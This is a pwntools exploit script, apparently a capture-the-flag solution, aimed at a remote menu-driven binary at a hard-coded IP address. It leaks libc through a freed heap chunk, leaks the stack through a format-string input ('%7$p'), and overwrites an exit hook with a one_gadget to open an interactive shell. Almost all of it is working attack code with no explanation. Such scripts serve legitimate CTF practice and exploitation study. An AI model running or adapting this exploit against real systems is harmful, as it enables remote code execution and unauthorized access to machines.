1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76
| from pwn import * p = remote('120.78.172.238',49149)
elf = ELF("./main") libc = ELF("./libc-2.31.so") context(os='linux', arch='amd64', log_level='debug')
def debug(): gdb.attach(p) pause()
def add(size,payload): p.recvuntil(">>") p.sendline(b'1') p.recvuntil(b"Tell me the book content size:") p.sendline(str(size)) p.recvuntil(b"Tell me the book content:") p.send(payload)
def delete(index): p.recvuntil(">>") p.sendline(b'2') p.recvuntil(b'Tell me the book index:') p.sendline(str(index))
def edit(index,payload): p.recvuntil(">>") p.sendline(b'3') p.recvuntil(b"Tell me the book index:") p.sendline(str(index)) p.sendlineafter(b"Tell me the book content:",payload)
def check(): p.recvuntil(">>") p.sendline(b'4')
def login(): p.sendlineafter(b'>> \n', b'5') p.sendlineafter(b'Passwd: \n', b'1234567890\x00')
one_gadgets= [0xe6c7e,0xe6c81,0xe6c84] add(0x420,b'aaaa') add(0x10,b'aaaa') delete(0) check() libc_base = u64(p.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00")) - 0x1ebbe0 success('libc_base:%s',libc_base)
free_hook = libc_base + libc.sym['__free_hook'] sys_addr=libc_base+libc.sym['system'] bin_sh=libc_base+next(libc.search(b'/bin/sh\x00')) one_gadget = libc_base + 0xe6c7e
login() p.sendlineafter(b'name: \n', b'%7$p') p.recvuntil(b'0x') stack = int(p.recv(12), 16)
exit_hook = libc_base + 0x222060 + 3848
p.sendlineafter(b'>> \n', b'2')
p.sendafter(b'WRITE MODE: \n', p64(exit_hook)) sleep(1) p.sendline(p64(one_gadget))
success('libc_base:%s',libc_base) success('sys_addr:%s',hex(sys_addr)) success('bin_sh:%s',hex(bin_sh)) success('one_gadget:%s',hex(one_gadget)) success('stack:%s',hex(stack)) success('exit_hook:%s',hex(exit_hook)) p.interactive()
|